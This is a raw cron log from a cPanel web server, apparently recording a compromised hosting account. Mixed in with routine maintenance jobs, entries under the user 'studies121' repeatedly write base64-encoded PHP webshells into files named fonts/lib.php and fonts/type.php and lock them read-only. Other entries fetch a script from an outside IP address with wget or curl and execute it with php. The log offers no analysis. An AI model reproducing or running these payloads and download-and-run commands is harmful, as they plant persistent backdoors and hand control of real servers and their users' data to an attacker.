Sep  8 19:06:01 ip-184-168-122-23 CROND[10510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:06:01 ip-184-168-122-23 CROND[10514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:06:01 ip-184-168-122-23 CROND[10512]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:06:01 ip-184-168-122-23 CROND[10515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:06:01 ip-184-168-122-23 CROND[10513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:07:01 ip-184-168-122-23 CROND[10606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:07:01 ip-184-168-122-23 CROND[10608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:07:01 ip-184-168-122-23 CROND[10609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:07:01 ip-184-168-122-23 CROND[10611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:08:01 ip-184-168-122-23 CROND[10782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:08:01 ip-184-168-122-23 CROND[10781]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:08:01 ip-184-168-122-23 CROND[10783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:08:01 ip-184-168-122-23 CROND[10784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:08:01 ip-184-168-122-23 CROND[10785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:09:01 ip-184-168-122-23 CROND[10877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:09:01 ip-184-168-122-23 CROND[10879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:09:01 ip-184-168-122-23 CROND[10878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:09:01 ip-184-168-122-23 CROND[10882]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 19:09:01 ip-184-168-122-23 CROND[10881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:10:01 ip-184-168-122-23 CROND[10974]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 19:10:01 ip-184-168-122-23 CROND[10975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:10:01 ip-184-168-122-23 CROND[10980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:10:01 ip-184-168-122-23 CROND[10984]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 19:10:01 ip-184-168-122-23 CROND[10981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:10:01 ip-184-168-122-23 CROND[10982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:10:01 ip-184-168-122-23 CROND[10983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:10:01 ip-184-168-122-23 CROND[10979]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 19:11:01 ip-184-168-122-23 CROND[11093]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:11:01 ip-184-168-122-23 CROND[11094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:11:01 ip-184-168-122-23 CROND[11096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:11:01 ip-184-168-122-23 CROND[11095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:12:01 ip-184-168-122-23 CROND[11221]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:12:01 ip-184-168-122-23 CROND[11222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:12:01 ip-184-168-122-23 CROND[11224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:12:01 ip-184-168-122-23 CROND[11227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:12:01 ip-184-168-122-23 CROND[11228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:13:01 ip-184-168-122-23 CROND[11311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:13:01 ip-184-168-122-23 CROND[11313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:13:01 ip-184-168-122-23 CROND[11314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:13:01 ip-184-168-122-23 CROND[11315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:14:01 ip-184-168-122-23 CROND[11496]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:14:01 ip-184-168-122-23 CROND[11498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:14:01 ip-184-168-122-23 CROND[11501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:14:01 ip-184-168-122-23 CROND[11500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:14:01 ip-184-168-122-23 CROND[11503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:15:01 ip-184-168-122-23 CROND[11596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:15:01 ip-184-168-122-23 CROND[11597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:15:01 ip-184-168-122-23 CROND[11602]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 19:15:01 ip-184-168-122-23 CROND[11601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:15:01 ip-184-168-122-23 CROND[11600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:15:01 ip-184-168-122-23 CROND[11603]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 19:16:01 ip-184-168-122-23 CROND[11716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:16:01 ip-184-168-122-23 CROND[11718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:16:01 ip-184-168-122-23 CROND[11720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:16:01 ip-184-168-122-23 CROND[11722]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 19:16:01 ip-184-168-122-23 CROND[11719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:16:01 ip-184-168-122-23 CROND[11721]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:17:01 ip-184-168-122-23 CROND[11823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:17:01 ip-184-168-122-23 CROND[11824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:17:01 ip-184-168-122-23 CROND[11826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:17:01 ip-184-168-122-23 CROND[11827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:18:01 ip-184-168-122-23 CROND[11922]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
